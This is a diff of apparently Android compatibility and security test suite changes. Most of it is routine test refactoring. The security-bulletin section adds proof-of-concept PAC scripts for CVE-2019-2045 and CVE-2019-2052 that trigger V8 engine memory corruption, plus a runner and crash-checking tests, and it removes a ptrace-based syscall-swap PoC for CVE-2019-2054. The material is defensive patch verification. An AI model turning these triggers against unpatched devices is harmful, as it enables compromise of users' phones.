setupLayer(GLES_LAYER_B_LIB, GLES_LAYERS_APP);
// Copy them over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_B_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_B_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", GLES_LAYER_B_LIB, ";", "chmod", "700", GLES_LAYER_B_LIB + "\'");
// Enable layerB with system properties
- mDevice.executeAdbCommand("shell", "setprop", "debug.gles.layers " + GLES_LAYER_B_LIB);
+ getDevice().executeAdbCommand("shell", "setprop", "debug.gles.layers " + GLES_LAYER_B_LIB);
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Ensure only layerA is loaded
String searchStringA = "glesLayer_eglChooseConfig called in " + GLES_LAYER_A;
@@ -802,7 +797,7 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Check that our external layer was loaded
String searchStringC = "glesLayer_eglChooseConfig called in " + GLES_LAYER_C;
@@ -827,7 +822,7 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Check that external layers were loaded from both apps
String vulkanString = "nullCreateInstance called in " + LAYER_C;
diff --git a/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java b/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
index 625839f2049..ae8d4a8711b 100644
--- a/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
+++ b/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
@@ -21,6 +21,7 @@ import android.content.Context;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.media.MediaCodec;
+import android.media.MediaCodecInfo.CodecProfileLevel;
import android.media.MediaExtractor;
import android.media.MediaFormat;
import android.media.cts.bitstreams.MediaBitstreams;
@@ -83,6 +84,35 @@ public class MediaBitstreamsDeviceSideTest {
}
}
+ private static void fixFormat(MediaFormat format, String path) {
+ // TODO(b/137684344): Revisit so that we can get this information from
+ // the bitstream or the extractor.
+ if (path.indexOf("/10bit/") < 0) {
+ return;
+ }
+ String mime = format.getString(MediaFormat.KEY_MIME);
+ int profile = -1, level = -1;
+ if (mime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+ profile = CodecProfileLevel.VP9Profile2;
+ level = CodecProfileLevel.VP9Level1;
+ } else if (mime.equals(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
+ profile = CodecProfileLevel.HEVCProfileMain10;
+ level = CodecProfileLevel.HEVCMainTierLevel1;
+ } else if (mime.equals(MediaFormat.MIMETYPE_VIDEO_AV1)) {
+ profile = CodecProfileLevel.AV1ProfileMain10;
+ level = CodecProfileLevel.AV1Level2;
+ } else {
+ return;
+ }
+
+ if (!format.containsKey(MediaFormat.KEY_PROFILE)) {
+ format.setInteger(MediaFormat.KEY_PROFILE, profile);
+ }
+ if (!format.containsKey(MediaFormat.KEY_LEVEL)) {
+ format.setInteger(MediaFormat.KEY_LEVEL, level);
+ }
+ }
+
static interface ReportCallback {
void run(OutputStream out) throws Exception;
}
@@ -166,6 +196,7 @@ public class MediaBitstreamsDeviceSideTest {
MediaFormat format = parseTrackFormat(formatStr);
String mime = format.getString(MediaFormat.KEY_MIME);
String[] decoders = MediaUtils.getDecoderNamesForMime(mime);
+ fixFormat(format, path);
ps.println(path);
ps.println(decoders.length);
@@ -225,6 +256,7 @@ public class MediaBitstreamsDeviceSideTest {
try {
ex.setDataSource(path);
MediaFormat format = ex.getTrackFormat(0);
+ fixFormat(format, path);
boolean[] vendors = new boolean[] {false, true};
for (boolean v : vendors) {
for (String name : MediaUtils.getDecoderNames(v, format)) {
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 12636f3203b..28d06a9bab5 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -20,6 +20,10 @@
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="cleanup" value="true" />
+ <!--__________________-->
+ <!-- Utilities -->
+ <option name="push" value="pacrunner->/data/local/tmp/pacrunner" />
+
<option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
<option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
<option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
@@ -184,11 +188,6 @@
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
- <!--__________________-->
- <!-- Bulletin 2019-05 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2019-2054->/data/local/tmp/CVE-2019-2054" />
-
<option name="append-bitness" value="true" />
</target_preparer>
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2045.pac b/hostsidetests/securitybulletin/res/CVE-2019-2045.pac
new file mode 100644
index 00000000000..1cb28ff4c67
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2045.pac
@@ -0,0 +1,40 @@
+function FindProxyForURL(url, host){
+ opttest();
+ opttest();
+ opttest();
+ opttest();
+ opttest();
+ opttest();
+ opttest();
+ opttest();
+ return "DIRECT";
+}
+
+function maxstring() {
+ // force TurboFan
+ try {} finally {}
+
+ var i = 'A'.repeat(2**28 - 16).indexOf("", 2**28);
+ i += 16;
+ i >>= 28;
+ i *= 1000000;
+ //i *= 3;
+ if (i >= 3) {
+ return 0;
+ } else {
+ var arr = [0.1, 0.2, 0.3, 0.4];
+ return arr[i];
+ }
+}
+
+function opttest() {
+ for (var j = 0; j < 100000; j++) {
+ var o = maxstring();
+ if (o == 0 || o == undefined) {
+ continue;
+ }
+ console.log(o);
+ return o;
+ }
+}
+
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2052.pac b/hostsidetests/securitybulletin/res/CVE-2019-2052.pac
new file mode 100644
index 00000000000..ab5ed697c2e
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2052.pac
@@ -0,0 +1,32 @@
+function FindProxyForURL(url, host){
+ for(var i = 0;i < 0x1000;i++){
+ tt();
+ }
+
+ return "DIRECT";
+}
+
+function tt(){
+ var evil_o = {};
+ var reg = /abc/y;
+ var num = {};
+ num.toString = function(){
+ change_to_dict();
+ return 0x0;
+ }
+
+
+ function change_to_dict(){
+ for(var i = 0;i < 0x100;i++){
+ reg["a"+i.toString(16)] = i;
+ }
+ }
+
+ evil_o.toString = function(){
+ //change_to_dict();
+ reg.lastIndex = num;
+ return "abc".repeat(0x1000);
+ }
+
+ String.prototype.replace.call(evil_o,reg,function(){});
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/poc.c
deleted file mode 100644
index 578c90a2747..00000000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/poc.c
+++ /dev/null
@@ -1,135 +0,0 @@
-/**
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <err.h>
-#include <errno.h>
-#include <linux/elf.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ptrace.h>
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <sys/uio.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-#include "../includes/common.h"
-
-time_t test_started;
-
-int main(void) {
- pid_t my_pid = -1;
-
- setbuf(stdout, NULL);
-
- pid_t child = fork();
-
- switch (child) {
- case -1:
- // child = -1 => the creation of a child process was unsuccessful.
- err(1, "fork");
- return EXIT_FAILURE;
-
- case 0:
- // child = 0 => Returned to the newly created child process
- my_pid = getpid();
- test_started = start_timer();
-
- while (timer_active(test_started)) {
- errno = 0;
- int res = syscall(__NR_gettid, 0, 0);
- if (res != my_pid) {
- printf("%d (%s)\n", res, strerror(errno));
- return EXIT_VULNERABLE;
- }
- }
- return EXIT_SUCCESS;
-
- default:
- // child > 0 => Returned to parent process.
- // The value contains process ID of its newly created child process.
- sleep(1);
-
- if (ptrace(PTRACE_ATTACH, child, NULL, NULL)) {
- err(1, "main() : ptrace attach");
- return EXIT_FAILURE;
- }
-
- int status;
- if (waitpid(child, &status, 0) != child) {
- err(1, "main() : wait for child");
- return EXIT_FAILURE;
- }
-
- if (ptrace(PTRACE_SYSCALL, child, NULL, NULL)) {
- err(1, "main() : ptrace syscall entry");
- return EXIT_FAILURE;
- }
-
- if (waitpid(child, &status, 0) != child) {
- err(1, "main() : wait for child");
- return EXIT_FAILURE;
- }
-
- int syscallno;
- struct iovec iov = {.iov_base = &syscallno, .iov_len = sizeof(syscallno)};
-
- if (ptrace(PTRACE_GETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) {
- err(1, "main() : ptrace getregs");
- return EXIT_FAILURE;
- }
-
- printf("main() : seeing syscall %d\n", syscallno);
- if (syscallno != __NR_gettid) {
- err(1, "main() : not gettid");
- return EXIT_FAILURE;
- }
-
- syscallno = __NR_swapon;
- if (ptrace(PTRACE_SETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) {
- err(1, "main() : ptrace setregs");
- return EXIT_FAILURE;
- }
-
- if (ptrace(PTRACE_DETACH, child, NULL, NULL)) {
- err(1, "main() : ptrace syscall");
- return EXIT_FAILURE;
- }
- // kill child proces
- int killRet = kill(child, SIGCONT);
- if (killRet == -1) {
- printf(
- "main() : killing child process(%d) with SIGCONT on error (%s)\n",
- child, strerror(errno));
- }
-
- // wait for child process stop
- int waitPid = waitpid(child, &status, 0);
- if (waitPid == -1) {
- perror("main() waitpid: waitpid = -1 and continue wait");
- return EXIT_FAILURE;
- }
-
- if (WIFEXITED(status)) {
- // detected vulnarable exit status of child process
- printf("main() : Exit Vulnerable: child = %d, status=%d\n", child, WEXITSTATUS(status));
- return WEXITSTATUS(status);
- }
- break;
- }
-
- return EXIT_SUCCESS;
-} \ No newline at end of file
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/Android.mk b/hostsidetests/securitybulletin/securityPatch/pac/Android.mk
index 5a712179e07..bd9c07dc371 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/pac/Android.mk
@@ -10,22 +10,27 @@
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
-# limitations under the License.
+# limitations under the License
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2019-2054
-LOCAL_SRC_FILES := poc.c
+LOCAL_MODULE := pacrunner
+LOCAL_SRC_FILES := pac.cpp
LOCAL_MULTILIB := both
LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-# Tag this module as a sts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_C_INCLUDES:= \
+ $(TOP)/external/chromium-libpac/includes \
+
+LOCAL_SHARED_LIBRARIES := \
+ libpac \
+
+LOCAL_COMPATIBILITY_SUITE := cts sts
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS = -Wall -Werror
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
-include $(BUILD_CTS_EXECUTABLE) \ No newline at end of file
diff --git a/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp b/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
new file mode 100644
index 00000000000..393848dab1f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <proxy_resolver_v8_wrapper.h>
+#include <sys/types.h>
+#include <string.h>
+#include <codecvt>
+#include <fstream>
+#include <iostream>
+
+const char16_t* spec = u"";
+const char16_t* host = u"";
+
+int main(int argc, char *argv[]) {
+ if (argc != 2) {
+ std::cout << "incorrect number of arguments" << std::endl;
+ std::cout << "usage: ./pacrunner mypac.pac" << std::endl;
+ return EXIT_FAILURE;
+ }
+
+ ProxyResolverV8Handle* handle = ProxyResolverV8Handle_new();
+
+ std::ifstream t;
+ t.open(argv[1]);
+ if (t.rdstate() != std::ifstream::goodbit) {
+ std::cout << "error opening file" << std::endl;
+ return EXIT_FAILURE;
+ }
+ t.seekg(0, std::ios::end);
+ size_t size = t.tellg();
+ // allocate an extra byte for the null terminator
+ char* raw = (char*)calloc(size + 1, sizeof(char));
+ t.seekg(0);
+ t.read(raw, size);
+ std::string u8Script(raw);
+ std::u16string u16Script = std::wstring_convert<
+ std::codecvt_utf8_utf16<char16_t>, char16_t>{}.from_bytes(u8Script);
+
+ ProxyResolverV8Handle_SetPacScript(handle, u16Script.data());
+ ProxyResolverV8Handle_GetProxyForURL(handle, spec, host);
+
+ ProxyResolverV8Handle_delete(handle);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 405cb5e34a0..6cd53a60eb8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -241,4 +241,13 @@ public class AdbUtils {
assertTrue("PoC returned exit status 113: vulnerable",
runPocGetExitStatus(pocName, device, timeout) != 113);
}
+
+ public static int runProxyAutoConfig(String pacName, ITestDevice device) throws Exception {
+ runCommandLine("chmod +x /data/local/tmp/pacrunner", device);
+ String targetPath = "/data/local/tmp/" + pacName + ".pac";
+ AdbUtils.pushResource("/" + pacName + ".pac", targetPath, device);
+ int code = runCommandGetExitCode("/data/local/tmp/pacrunner " + targetPath, device);
+ runCommandLine("rm " + targetPath, device);
+ return code;
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 5057ebea685..e0294d395c1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -17,6 +17,7 @@
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+import java.util.concurrent.Callable;
public class Poc17_03 extends SecurityTestCase {
@@ -65,9 +66,26 @@ public class Poc17_03 extends SecurityTestCase {
@SecurityTest(minPatchLevel = "2017-03")
public void testPocCVE_2017_0334() throws Exception {
if (containsDriver(getDevice(), "/dev/dri/renderD129")) {
- String out = AdbUtils.runPoc("CVE-2017-0334", getDevice());
- assertNotMatchesMultiLine("Leaked ptr is (0x[fF]{6}[cC]0[a-fA-F0-9]{8}"
- +"|0x[c-fC-F][a-fA-F0-9]{7})",out);
+ String out = AdbUtils.runPoc("CVE-2017-0334", getDevice());
+ // info leak sample
+ // "leaked ptr is 0xffffffc038ed1980"
+ String[] lines = out.split("\n");
+ String pattern = "Leaked ptr is 0x";
+ assertNotKernelPointer(new Callable<String>() {
+ int index = 0;
+ @Override
+ public String call() {
+ for (; index < lines.length; index++) {
+ String line = lines[index];
+ int index = line.indexOf(pattern);
+ if (index == -1) {
+ continue;
+ }
+ return line.substring(index + pattern.length());
+ }
+ return null;
+ }
+ }, null);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
index 7eedaf19659..e2a0e5c5bfb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
@@ -17,14 +17,28 @@
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import static org.junit.Assert.assertFalse;
+
+@SecurityTest
public class Poc19_05 extends SecurityTestCase {
/**
- * b/129559484
+ * b/129556464
+ */
+ @SecurityTest(minPatchLevel = "2019-05")
+ public void testPocCVE_2019_2052() throws Exception {
+ int code = AdbUtils.runProxyAutoConfig("CVE-2019-2052", getDevice());
+ assertTrue(code != 139); // 128 + signal 11
+ }
+
+ /**
+ * b/129556111
*/
@SecurityTest(minPatchLevel = "2019-05")
- public void testPocCVE_2019_2054() throws Exception {
- AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2019-2054", getDevice(), 60);
+ public void testPocCVE_2019_2045() throws Exception {
+ int code = AdbUtils.runProxyAutoConfig("CVE-2019-2045", getDevice());
+ assertTrue(code != 139); // 128 + signal 11
}
}
diff --git a/hostsidetests/sustainedperf/shadertoy_android/src/GLtestView.java b/hostsidetests/sustainedperf/shadertoy_android/src/GLtestView.java
index a6dab62039c..7893886d468 100644
--- a/hostsidetests/sustainedperf/shadertoy_android/src/GLtestView.java
+++ b/hostsidetests/sustainedperf/shadertoy_android/src/GLtestView.java
@@ -110,9 +110,9 @@ class GLtestView extends GLSurfaceView {
private static class ContextFactory implements GLSurfaceView.EGLContextFactory {
private static int EGL_CONTEXT_CLIENT_VERSION = 0x3098;
public EGLContext createContext(EGL10 egl, EGLDisplay display, EGLConfig eglConfig) {
- Log.w(TAG, "creating OpenGL ES 3.0 context");
+ Log.w(TAG, "creating OpenGL ES 2.0 context");
checkEglError("Before eglCreateContext", egl);
- int[] attrib_list = {EGL_CONTEXT_CLIENT_VERSION, 3, EGL10.EGL_NONE };
+ int[] attrib_list = {EGL_CONTEXT_CLIENT_VERSION, 2, EGL10.EGL_NONE };
EGLContext context = egl.eglCreateContext(display, eglConfig, EGL10.EGL_NO_CONTEXT, attrib_list);
checkEglError("After eglCreateContext", egl);
return context;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java
index 5c45080532f..c809f2655d3 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java
@@ -23,6 +23,8 @@ import android.platform.test.annotations.Presubmit;
import android.test.InstrumentationTestCase;
import android.test.suitebuilder.annotation.MediumTest;
+import androidx.test.filters.FlakyTest;
+
import java.util.concurrent.TimeoutException;
/**
@@ -85,6 +87,7 @@ public class AccessibilityGlobalActionsTest extends InstrumentationTestCase {
}
@MediumTest
+ @FlakyTest
public void testPerformGlobalActionNotifications() throws Exception {
// Perform the action under test
assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
@@ -102,6 +105,7 @@ public class AccessibilityGlobalActionsTest extends InstrumentationTestCase {
}
@MediumTest
+ @FlakyTest
public void testPerformGlobalActionQuickSettings() throws Exception {
// Check whether the action succeeded.
assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
@@ -122,6 +126,7 @@ public class AccessibilityGlobalActionsTest extends InstrumentationTestCase {
}
@MediumTest
+ @FlakyTest
public void testPerformGlobalActionPowerDialog() throws Exception {
// Check whether the action succeeded.
assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
diff --git a/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java b/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
index bb46489ba33..77d20715509 100644
--- a/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
+++ b/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
@@ -173,8 +173,6 @@ public class DownloadManagerApi28Test extends DownloadManagerTestBase {
receiver.waitForDownloadComplete(SHORT_TIMEOUT, downloadId);
assertSuccessfulDownload(downloadId, new File(downloadLocation.getPath()));
final Uri downloadUri = mDownloadManager.getUriForDownloadedFile(downloadId);
- mContext.grantUriPermission("com.android.shell", downloadUri,
- Intent.FLAG_GRANT_READ_URI_PERMISSION);
final Uri mediaStoreUri = getMediaStoreUri(downloadUri);
final ContentResolver contentResolver = mContext.getContentResolver();
assertArrayEquals(hash(contentResolver.openInputStream(downloadUri)),
@@ -216,8 +214,6 @@ public class DownloadManagerApi28Test extends DownloadManagerTestBase {
"text/plain", downloadLocation, fileContents.getBytes().length, true);
assertTrue(downloadId >= 0);
final Uri downloadUri = mDownloadManager.getUriForDownloadedFile(downloadId);
- mContext.grantUriPermission("com.android.shell", downloadUri,
- Intent.FLAG_GRANT_READ_URI_PERMISSION);
final Uri mediaStoreUri = getMediaStoreUri(downloadUri);
assertArrayEquals(hash(new FileInputStream(file)),
hash(mContext.getContentResolver().openInputStream(mediaStoreUri)));
diff --git a/tests/app/DownloadManagerLegacyTest/src/android/app/cts/DownloadManagerLegacyTest.java b/tests/app/DownloadManagerLegacyTest/src/android/app/cts/DownloadManagerLegacyTest.java
index 32d6fd90401..48ae060b5c3 100644
--- a/tests/app/DownloadManagerLegacyTest/src/android/app/cts/DownloadManagerLegacyTest.java
+++ b/tests/app/DownloadManagerLegacyTest/src/android/app/cts/DownloadManagerLegacyTest.java
@@ -100,8 +100,6 @@ public class DownloadManagerLegacyTest extends DownloadManagerTestBase {
true, "text/plain", downloadLocation, fileContents.getBytes().length, true);
assertTrue(downloadId >= 0);
final Uri downloadUri = mDownloadManager.getUriForDownloadedFile(downloadId);
- mContext.grantUriPermission("com.android.shell", downloadUri,
- Intent.FLAG_GRANT_READ_URI_PERMISSION);
final Uri mediaStoreUri = getMediaStoreUri(downloadUri);
assertEquals(fileContents, readContentsFromUri(mediaStoreUri));
diff --git a/tests/app/src/android/app/cts/DownloadManagerTestBase.java b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
index 3a81e6100e6..ddb3c172b21 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTestBase.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
@@ -107,20 +107,17 @@ public class DownloadManagerTestBase {
}
}
- protected Uri getMediaStoreUri(Uri downloadUri) throws Exception {
- // Need to pass in the user id to support multi-user scenarios.
- final int userId = getUserId();
- final String cmd = String.format("content query --uri %s --projection %s --user %s",
- downloadUri, DownloadManager.COLUMN_MEDIASTORE_URI, userId);
- final String res = runShellCommand(cmd).trim();
- final String str = DownloadManager.COLUMN_MEDIASTORE_URI + "=";
- final int i = res.indexOf(str);
- if (i >= 0) {
- return Uri.parse(res.substring(i + str.length()));
+ protected static Uri getMediaStoreUri(Uri downloadUri) throws Exception {
+ final Context context = InstrumentationRegistry.getTargetContext();
+ Cursor cursor = context.getContentResolver().query(downloadUri, null, null, null);
+ if (cursor != null && cursor.moveToFirst()) {
+ // DownloadManager.COLUMN_MEDIASTORE_URI is not a column in the query result.
+ // COLUMN_MEDIAPROVIDER_URI value maybe the same as COLUMN_MEDIASTORE_URI but NOT
+ // guaranteed.
+ int index = cursor.getColumnIndexOrThrow(DownloadManager.COLUMN_MEDIAPROVIDER_URI);
+ return Uri.parse(cursor.getString(index));
} else {
- throw new FileNotFoundException("Failed to find "
- + DownloadManager.COLUMN_MEDIASTORE_URI + " for "
- + downloadUri + "; found " + res);
+ throw new FileNotFoundException("Failed to find entry for " + downloadUri);
}
}
@@ -154,7 +151,8 @@ public class DownloadManagerTestBase {
protected static String readFromRawFile(String filePath) throws Exception {
Log.d(TAG, "Reading form file: " + filePath);
- return runShellCommand("cat " + filePath);
+ return readFromFile(
+ ParcelFileDescriptor.open(new File(filePath), ParcelFileDescriptor.MODE_READ_ONLY));
}
protected static String readFromFile(ParcelFileDescriptor pfd) throws Exception {
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 697fe1886d9..6c57c0414a8 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -2626,8 +2626,10 @@ public class NotificationManagerTest extends AndroidTestCase {
// Should be foreground now
a.sendBubble(1);
+ boolean shouldBeBubble = !mActivityManager.isLowRamDevice();
+
if (!checkNotificationExistence(BUBBLE_NOTIF_ID,
- true /* shouldExist */, true /* shouldBeBubble */)) {
+ true /* shouldExist */, shouldBeBubble)) {
fail("couldn't find posted notification bubble with id=" + BUBBLE_NOTIF_ID);
}
@@ -2638,8 +2640,6 @@ public class NotificationManagerTest extends AndroidTestCase {
// The notif should be allowed to update as a bubble
a.sendBubble(2);
- boolean shouldBeBubble = !mActivityManager.isLowRamDevice();
-
if (!checkNotificationExistence(BUBBLE_NOTIF_ID,
true /* shouldExist */, shouldBeBubble)) {
fail("couldn't find posted notification bubble with id=" + BUBBLE_NOTIF_ID);
diff --git a/tests/autofillservice/OWNERS b/tests/autofillservice/OWNERS
index d924ccc6722..eac063bd441 100644
--- a/tests/autofillservice/OWNERS
+++ b/tests/autofillservice/OWNERS
@@ -1,2 +1,4 @@
# Bug component: 351486
felipeal@google.com
+svetoslavganov@google.com
+adamhe@google.com \ No newline at end of file
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java
index a955587ef31..6884f06f090 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java
@@ -173,4 +173,11 @@ public abstract class AbstractAutoFillActivity extends Activity {
}
super.finish();
}
+
+ /**
+ * Clears focus from input fields.
+ */
+ public void clearFocus() {
+ throw new UnsupportedOperationException("Not implemented by " + getClass());
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java
index b9d631e1c37..6e7b475012f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java
@@ -60,7 +60,7 @@ abstract class AbstractGridActivityTestCase
try {
event = mUiBot.waitForWindowChange(() -> mActivity.focusCell(row, column),
Timeouts.WINDOW_CHANGE_NOT_GENERATED_NAPTIME_MS);
- } catch (TimeoutException ex) {
+ } catch (WindowChangeTimeoutException ex) {
// no window events! looking good
return;
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java
index c0b299427ad..e7c0cf71d9d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java
@@ -55,7 +55,7 @@ public abstract class AbstractLoginActivityTestCase
try {
event = mUiBot.waitForWindowChange(() -> mActivity.onUsername(View::requestFocus),
Timeouts.WINDOW_CHANGE_NOT_GENERATED_NAPTIME_MS);
- } catch (TimeoutException ex) {
+ } catch (WindowChangeTimeoutException ex) {
// no window events! looking good
return;
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 0338851038e..691ee977b80 100644
